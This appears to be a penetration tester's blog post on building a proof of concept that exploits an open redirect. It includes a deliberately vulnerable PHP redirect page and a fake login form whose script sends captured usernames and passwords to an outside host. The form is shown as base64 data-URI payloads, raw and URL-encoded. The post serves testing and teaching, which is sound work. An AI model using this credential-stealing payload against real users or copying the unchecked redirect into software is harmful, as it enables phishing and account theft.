None of this is new. This week I needed to make an exploit PoC for an open redirect. The short version is this:
- Customer had an Open Redirect vulnerability.
- This prevented certain things and did have some defences in place.
- It did not prevent the “data:” URI.
- So this article shows simply how to make a fake login form. *
* various browsers protect users. Mileage on this one definitely varies.
Hopefully the tale of how this was made is of use to someone. It starts by explaining what an Open Redirect is for the uninitiated. It then proceeds by showing a vulnerable PHP page, how to generate the PoC, and then the action shot of it.
What is an Open Redirect?
Ironically our heroes at OWASP have chosen to call theirs “unvalidated redirects” now. Meaning that googling “Open Redirect” finds you this URL:
https://www.owasp.org/index.php?title=Open_redirect&redirect=no
Which ultimately redirects to this if you flip the “redirect=no” to “redirect=yes”:
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
But I am old school and like to call it an open redirect. I get the point they are conveying by calling it an unvalidated redirect. I just boo and hiss about being too old for new tricks.
The gist is: by modifying input to a website you are redirecting users to a URL of your choice.
For example, if a website had a URL of the following kind:
https://trustedsite/redirect.php?url=INJECT_HERE
If you set the “url” parameter to “https://www.secarma.co.uk“, when the victim clicked on the link they would be redirected to Secarma.
You are all about the impacts Mr Pirate. So explain to me the impact before I throw a brick at you. Ok, ok, I am getting there. There are typically two impacts of an open redirect:
- Phishing – Create a malicious link and email (or otherwise present) your victims with it. When they are redirected to your #EvilSite you ask them to enter credentials or something else you need.
- Drive by download – if I can make your browser view content that I control then I can attempt to exploit your browser and all of the applications you have installed. Technically this is just a different payload for phishing, but I do see this as a worst case scenario. On a legit penetration testing engagement you should never be simulating this. Imagine the carnage of auto owning browsers for thousands of people?
What an open redirect gains you over simply emailing a link to #EvilSite is simply a little bit of legitimacy. The link will initially point at #TrustedSite but when the browser loads the page it will be forwarded to #EvilSite. If your victim is moderately savvy and checks the hostname in the URL before they click. With an open redirect they would be at risk since the ultimate destination is not the host name of the original link.
Make a vulnerable Open Redirect
You will need a safe place to play with this. Do not go and find something vulnerable on the Internet. Just make your own. I did, and you can see the code below:
<html>
<head>
<title>Vulnerable to a redirect</title>
</head>
<body>
<h3>Page is vulnerable to an open redirect</h3>
Add a parameter to the URL called "url" and resubmit.
</body>
<?php
if(isset($_GET['url'])) {
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url); // vulnerable redirect
} ?>
</html>
The vulnerable part is the call to the “header” function which uses without checks the value of the get parameter “url”.
Save this in a file “redirect.php”, and place this inside a web server with PHP enabled and start your web server.
Creating your PoC data URI
The data URI is typically used to embed images in my experience. However, it is capable of MIME type “text/html” which makes it dangerous. For this reason various browsers have defended against it as per Mozilla’s post below:
https://bugzilla.mozilla.org/show_bug.cgi?id=786275
Plough on regardless. Many people surf the old webs in dangerously old web browsers. As a pentester you have to proof of concept where you can. As it happened this was pretty much the only bug we had to play with, so go all out to explain why this is a risk by demonstration.
First you need to create some HTML that may exploit people. I went with a simple (and admittedly ugly looking) login page:
<form onsubmit="myFunction()">
User: <input type="text" name="user"></br>
Pass: <input type="password" name="pass"></br>
<input type="submit" value="Submit">
</form>
<script>
function myFunction() {
var gold = document.forms[0].user.value + ":" + document.forms[0].pass.value;
// send the users credentials to yourself.
new Image.src="https://cornerpirate.com/stealing?gold=" + encodeURI(gold);
// redirect user back to the site they are expecting.
window.location="<set this>";
}
</script>
Pretty simple really. A login form and a JavaScript which runs on submit that sends the credentials back to myself before redirecting the user back to the site they were expecting. That second step is important because you want to minimise the time they spend staring at your form.
To generate my data URI the lazy way I used this excellent free service:
https://dopiaza.org/tools/datauri/index.php
The following shows the process used for doing that:
Pretty simple:
- Click on “Provide Text”.
- Paste your HTML in.
- Click “Explicitly specify mime type”
- Type “text/html” in as the mime type.
- Click “Generate Data URI”.
This will generate your URI on the screen and you can copy and paste it where you need to.
Using your PoC
Once you have generated your PoC above you will need to URL encode it. This is because the character set for Base64 encoding includes characters used within URLs such as “+” and “=”.
Raw PoC
data:text/html;charset=utf-8;base64,PGZvcm0gb25zdWJtaXQ9Im15RnVuY3Rpb24oKSI+DQogIFVzZXI6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIj48L2JyPg0KICBQYXNzOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjwvYnI+DQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPg0KPC9mb3JtPg0KDQo8c2NyaXB0Pg0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICB2YXIgZ29sZCA9IGRvY3VtZW50LmZvcm1zWzBdLnVzZXIudmFsdWUgKyAiOiIgKyBkb2N1bWVudC5mb3Jtc1swXS5wYXNzLnZhbHVlOw0KICAgIC8vIHNlbmQgdGhlIHVzZXJzIGNyZWRlbnRpYWxzIHRvIHlvdXJzZWxmLg0KICAgIG5ldyBJbWFnZS5zcmM9Imh0dHBzOi8vY29ybmVycGlyYXRlLmNvbS9zdGVhbGluZz9nb2xkPSIgKyBlbmNvZGVVUkkoZ29sZCk7DQogICAgLy8gcmVkaXJlY3QgdXNlciBiYWNrIHRvIHRoZSBzaXRlIHRoZXkgYXJlIGV4cGVjdGluZy4NCiAgICB3aW5kb3cubG9jYXRpb249IjxzZXQgdGhpcz4iOw0KfQ==
URL Encoded PoC
data:text/html;charset=utf-8;base64,PGZvcm0gb25zdWJtaXQ9Im15RnVuY3Rpb24oKSI%2bDQogIFVzZXI6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIj48L2JyPg0KICBQYXNzOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjwvYnI%2bDQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPg0KPC9mb3JtPg0KDQo8c2NyaXB0Pg0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICB2YXIgZ29sZCA9IGRvY3VtZW50LmZvcm1zWzBdLnVzZXIudmFsdWUgKyAiOiIgKyBkb2N1bWVudC5mb3Jtc1swXS5wYXNzLnZhbHVlOw0KICAgIC8vIHNlbmQgdGhlIHVzZXJzIGNyZWRlbnRpYWxzIHRvIHlvdXJzZWxmLg0KICAgIG5ldyBJbWFnZS5zcmM9Imh0dHBzOi8vY29ybmVycGlyYXRlLmNvbS9zdGVhbGluZz9nb2xkPSIgKyBlbmNvZGVVUkkoZ29sZCk7DQogICAgLy8gcmVkaXJlY3QgdXNlciBiYWNrIHRvIHRoZSBzaXRlIHRoZXkgYXJlIGV4cGVjdGluZy4NCiAgICB3aW5kb3cubG9jYXRpb249IjxzZXQgdGhpcz4iOw0KfQ%3d%3d
Next you will need to generate your exploit URL. If we recall the generic example from before:
https://trustedsite/redirect.php?url=INJECT_HERE
It really is as simple as pasting your URL encoded PoC into the spot labelled “INJECT_HERE”.
Bang that into your address bar and press enter and watch as your shoddy looking login form appears. The following shows the flow of this in Burp:
Then to review that in my testing browser:
As you can see the address bar looks “scary”. Your suspicious victims will likely spot this. However, some that have been educated to check the hostname BEFORE clicking will already have done their due diligence and moved on to just logging in.
Personally I do not think it is *that* effective as a technique but it did give me a few glimmers of happiness in making the PoC.
cornerpirate.com 